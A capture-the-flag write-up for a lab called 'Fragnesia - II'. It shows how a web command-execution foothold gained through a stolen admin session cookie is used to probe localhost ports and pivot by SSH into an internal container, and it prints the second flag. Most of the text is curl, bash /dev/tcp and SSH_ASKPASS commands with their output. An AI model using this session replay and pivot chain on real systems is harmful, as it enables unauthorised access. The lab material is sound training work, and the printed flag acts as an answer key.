Fragnesia - II
192.168.1.26OWASPKL{xxx}1. Challenge Overview
After completing Fragnesia - I, the stored XSS chain gave an authenticated admin session and command execution through admin.php. This stage focuses on using that www-data foothold to enumerate the host from the inside and pivot into the internal container that is not exposed directly on the network.
The key idea is that external nmap only showed port 80, but command execution from the web server allowed internal service enumeration against 127.0.0.1. That revealed an SSH service bound locally on port 2222, which became the pivot point for the second flag.
2. Initial Reconnaissance
The external attack surface remained minimal: only Apache on port 80 was reachable from Kali.
1nmap -sC -sV -p- -T4 192.168.1.261PORT STATE SERVICE VERSION280/tcp open http Apache httpd 2.4.58 ((Ubuntu))3|_http-title: GuestbookContent discovery from Part 1 identified the important web endpoints:
1feroxbuster -u http://192.168.1.26 \2 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \3 -x php,txt -d 1 -o ferox.txt1200 GET http://192.168.1.26/2200 GET http://192.168.1.26/index.php3200 GET http://192.168.1.26/admin.php4200 GET http://192.168.1.26/admin_login.php5200 GET http://192.168.1.26/bot.php3. Analysis / Forensics Path
3.1 Re-establish the RCE foothold
Using the admin session obtained in Part 1, I replayed the valid PHPSESSID to admin.php and confirmed code execution as the web server user.
1curl -s -b "PHPSESSID=<ADMIN_SESSION>" \2 --data-urlencode "cmd=id" \3 http://192.168.1.26/admin.php1<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>For repeatable testing, I stored the session in a cookie jar and used curl as the command transport:
1TARGET=http://192.168.1.262COOKIE=/tmp/frag26_admin.cookie34curl -s -c "$COOKIE" \5 -d 'username=admin&password=<REDACTED_FOR_WRITEUP>' \6 "$TARGET/admin_login.php" >/dev/null78curl -s -b "$COOKIE" \9 --data-urlencode 'cmd=id' \10 "$TARGET/admin.php"> Note: In the final writeup narrative, the authenticated cookie comes from the Part 1 XSS/admin-bot chain. The password is not required for the exploitation path and should not be presented as the primary method.
3.2 Internal service discovery from the foothold
External scanning only showed port 80, so I used the www-data RCE to check for localhost-only services.
1curl -s -b "$COOKIE" \2 --data-urlencode 'cmd=timeout 2 bash -lc "</dev/tcp/127.0.0.1/2222" && echo open || echo closed' \3 "$TARGET/admin.php"1<pre>open</pre>This showed that port 2222 was reachable only from inside the target host.
3.3 Identify the local SSH service
I then used the host's SSH client from the command-execution context to talk to 127.0.0.1:2222. Because the command runner is non-interactive, I used SSH_ASKPASS to provide the password to OpenSSH in a controlled way.
1cat > /tmp/askpass.sh <<'SH'2#!/bin/sh3echo fragnesia4SH5chmod +x /tmp/askpass.sh67DISPLAY=:0 \8SSH_ASKPASS=/tmp/askpass.sh \9SSH_ASKPASS_REQUIRE=force \10setsid ssh \11 -o StrictHostKeyChecking=no \12 -o UserKnownHostsFile=/tmp/known_hosts_frag26 \13 -o LogLevel=ERROR \14 -p 2222 user@127.0.0.1 \15 'id; hostname; pwd'Executed through admin.php:
1curl -s -b "$COOKIE" \2 --data-urlencode "cmd=$(cat ssh_pivot_command.sh)" \3 "$TARGET/admin.php"Output:
1uid=1000(user) gid=1000(user) groups=1000(user)2335cbf012f163/home/userThe hostname looked like a short Docker/container ID, confirming that 127.0.0.1:2222 was a local SSH service forwarding into an isolated container.
4. Exploitation / Recovery
4.1 Read the second flag from the container user account
Once inside the container as user, I listed the home directory and read the second flag.
1DISPLAY=:0 \2SSH_ASKPASS=/tmp/askpass.sh \3SSH_ASKPASS_REQUIRE=force \4setsid ssh \5 -o StrictHostKeyChecking=no \6 -o UserKnownHostsFile=/tmp/known_hosts_frag26 \7 -o LogLevel=ERROR \8 -p 2222 user@127.0.0.1 \9 'echo ===container===; id; hostname; pwd; echo ===flag2===; cat /home/user/second_flag.txt'Live output:
1===container===2uid=1000(user) gid=1000(user) groups=1000(user)3335cbf012f164/home/user5===flag2===6OWASPKL{F33l_s0_3mPTy_i5nt}5. Flag
6. Summary of Approach & Key Takeaways
Foothold reuse — Part 1 gave www-data command execution through a stolen admin session.
Internal enumeration — external nmap showed only port 80, but localhost probing from the foothold revealed 127.0.0.1:2222.
Container pivot — OpenSSH + SSH_ASKPASS allowed a non-interactive SSH login from the web RCE context into the internal container as user.
Flag recovery — /home/user/second_flag.txt contained the second flag.
Key takeaways:
Localhost-only services still matter after a web foothold.
Containerized services may be unreachable externally but accessible from the compromised host.
Non-interactive command runners can still drive SSH by using SSH_ASKPASS and setsid.